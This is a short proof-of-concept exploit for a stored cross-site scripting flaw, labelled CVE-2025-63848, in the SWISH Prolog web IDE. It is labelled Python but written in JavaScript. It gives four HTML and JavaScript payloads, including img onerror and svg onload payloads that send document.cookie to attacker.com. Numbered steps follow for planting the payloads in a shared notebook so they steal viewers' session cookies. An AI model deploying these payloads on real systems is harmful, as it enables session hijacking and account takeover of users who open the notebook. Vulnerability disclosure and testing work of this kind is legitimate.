The following code is for security research and authorized testing only.
python
// CVE-2025-63848 PoC - Stored XSS in SWISH Prolog Web IDE
// This PoC demonstrates the stored XSS vulnerability via crafted notebook
// Method 1: Using script tag
const pocScript = `
<html>
<body>
<script>alert(document.cookie)</script>
</body>
</html>
`;
// Method 2: Using event handlers
const pocEventHandler = `
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
`;
// Method 3: Using SVG element
const pocSvg = `
<svg onload="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
`;
// Method 4: Using iframe injection
const pocIframe = `
<iframe src="javascript:alert(document.domain)"></iframe>
`;
// To exploit: Create a new SWISH notebook and insert any of the above payloads
// into a notebook cell. When other users view the notebook, the XSS will trigger.
// Example attack scenario:
// 1. Attacker creates a SWISH notebook with malicious content
// 2. Notebook is saved and stored on the server
// 3. Victim views the attacker's notebook
// 4. Malicious JavaScript executes in victim's browser context
// 5. Attacker steals session cookies or performs actions as victim